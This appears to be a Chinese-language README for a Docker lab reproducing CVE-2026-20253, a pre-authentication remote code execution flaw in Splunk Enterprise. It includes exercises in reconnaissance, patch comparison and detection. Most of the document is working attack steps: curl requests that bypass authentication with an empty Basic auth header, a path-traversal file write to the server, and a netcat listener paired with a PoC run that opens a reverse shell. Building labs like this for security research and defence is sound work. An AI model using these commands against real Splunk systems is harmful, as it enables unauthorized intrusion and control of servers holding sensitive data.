## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-IVANESK315-CVE-2026-20253
# CVE-2026-20253 实验环境
**Splunk Enterprise 通过 PostgreSQL Sidecar 服务实现预认证 RCE**
|
---|---
**CVE**| CVE-2026-20253
**CVSS**| 9.8 (严重)
**类型**| 未认证远程代码执行
**CWE**| CWE-306: 关键功能缺少身份验证
**产品**| Splunk Enterprise 10.0.x / 10.2.x
> **免责声明** :本实验环境仅用于授权的安全研究、教育和渗透测试。请勿对您不拥有或未获得明确授权测试的系统使用。
* * *
## 实验架构
root@kitploit:~
┌──────────────────────────────────────────────────────┐
│ Docker 网络: cve-lab │
│ 子网: 172.20.0.0/24 │
│ │
│ ┌─────────────────────┐ ┌──────────────────────┐ │
│ │ splunk-vulnerable │ │ attacker │ │
│ │ 172.20.0.10 │ │ 172.20.0.50 │ │
│ │ │ │ │ │
│ │ Splunk 10.2.3 │ │ Python 3.11 │ │
│ │ 端口 8000 (Web) │ │ nmap, netcat │ │
│ │ 端口 8089 (API) │ │ postgresql-client │ │
│ │ 端口 8088 (HEC) │ │ tcpdump │ │
│ └─────────────────────┘ └──────────────────────┘ │
│ │
│ ┌─────────────────────┐ (可选, profile: patched) │
│ │ splunk-patched │ │
│ │ 172.20.0.11 │ │
│ │ Splunk 10.2.4 │ │
│ │ 端口 8001 (Web) │ │
│ └─────────────────────┘ │
└──────────────────────────────────────────────────────┘
* * *
## 前置要求
* Docker 和 Docker Compose
* Git
* 8GB+ 内存(Splunk 需要大量内存)
* 互联网访问(用于拉取 Docker 镜像)
* * *
## 快速开始
### 1\. 启动漏洞实验环境
root@kitploit:~
# 启动 Splunk 漏洞版本 + 攻击者
docker-compose up -d
# 等待 Splunk 初始化(约 2-3 分钟)
docker-compose logs -f splunk-vulnerable
# 查找: "Ansible playbook complete, will begin polling for Splunk On..."
# 然后: "Splunk is ready"
### 2\. 验证 Splunk 正在运行
* 打开浏览器: http://localhost:8000
* 登录: `admin` / `ChangeMeNow!`
### 3\. 运行漏洞检查器
root@kitploit:~
# 从宿主机运行
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k
# 或进入攻击者容器
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k
### 4\. 运行 PoC 漏洞利用
root@kitploit:~
# 进入攻击者容器
docker exec -it attacker bash
# 检查漏洞
python poc.py -t http://172.20.0.10:8000 --check -k
# 完整 RCE 漏洞利用(先在另一个终端启动监听器)
# 终端 1 - 监听器:
docker exec -it attacker nc -lvnp 4444
# 终端 2 - 漏洞利用:
docker exec -it attacker python poc.py \
-t http://172.20.0.10:8000 \
--rce \
--lhost 172.20.0.50 \
--lport 4444 \
-k
### 5\. (可选)启动已修补版本进行对比
root@kitploit:~
docker-compose --profile patched up -d splunk-patched
# 针对已修补实例进行测试(应返回 NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k
* * *
## 实验练习
### 练习 1: 侦察与漏洞识别
**目标** : 识别 PostgreSQL sidecar 端点并验证认证绕过。
root@kitploit:~
# 扫描 Splunk 端口
nmap -sV 172.20.0.10 -p 8000,8089,8088
# 使用 curl 手动探测 sidecar 端点
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"
**问题** :
* 您观察到哪些 HTTP 状态码?
* `Authorization: Basic Og==` 解码后是什么?
* 为什么 400 响应表示存在漏洞(相对于 401)?
### 练习 2: 文件写入原语
**目标** : 演示在 Splunk 服务器上创建任意文件。
root@kitploit:~
# 通过 backup 端点创建测试文件
curl -k -X POST -u ":" \
"http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"
# 验证文件已创建
docker exec splunk-vulnerable ls -la /tmp/pwned
### 练习 3: 完整 RCE 链
**目标** : 在 Splunk 服务器上实现代码执行。
1. 在攻击者机器上启动 netcat 监听器
2. 使用 `--rce` 标志运行 PoC 漏洞利用
3. 验证反向 shell 连接
4. 调查 shell 具有的权限(`whoami`、`id`、`ls /opt/splunk/etc/`)
### 练习 4: 补丁差异分析
**目标** : 了解漏洞版本与已修补版本之间的变化。
root@kitploit:~
# 同时启动漏洞版本和已修补版本
docker-compose --profile patched up -d
# 对比响应
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health" # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health" # 401
# 对比相关的 Splunk 配置/代码
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
### 练习 5: 检测工程
**目标** : 为此漏洞创建检测规则。
1. 在漏洞实例上启用 Splunk 内部日志记录
2. 运行漏洞利用
3. 在 `index=_internal` 中搜索攻击痕迹
4. 编写 SPL 检测查询(参见 `report/ANALYSIS.md` 第 6 节)
5. 针对漏洞利用测试您的检测规则
* * *
## 文件结构
root@kitploit:~
CVE-2026-20253/
├── README.md # 本文件
├── docker-compose.yml # 实验环境定义
├── attacker/
│ ├── Dockerfile # 攻击者容器构建
│ └── requirements.txt # Python 依赖
├── exploit/
│ ├── checker.py # 漏洞检查脚本
│ ├── poc.py # PoC 漏洞利用(认证绕过 → 文件写入 → RCE)
│ └── requirements.txt # Python 依赖
└── report/
└── ANALYSIS.md # 根本原因分析与完整报告
* * *
## 调试提示
### Splunk 容器无法启动
root@kitploit:~
docker-compose logs splunk-vulnerable
# 常见修复方法: 将 Docker 内存增加到 8GB+
### 验证 PostgreSQL sidecar 正在运行
root@kitploit:~
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435
### 检查 Splunk 内部日志
root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50
### 检查目标模块化输入脚本
root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
### 捕获网络流量进行分析
root@kitploit:~
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10
* * *
## 清理
root@kitploit:~
# 停止并移除所有容器
docker-compose --profile patched down
# 移除卷(删除所有 Splunk 数据)
docker-compose --profile patched down -v
# 移除 Docker 镜像
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4
* * *
## 参考资料
* 完整根本原因分析
* Splunk 安全公告 SVD-2026-0610
* WatchTowr Labs 分析与 PoC
* CISA KEV 目录
* Picus Security 技术文章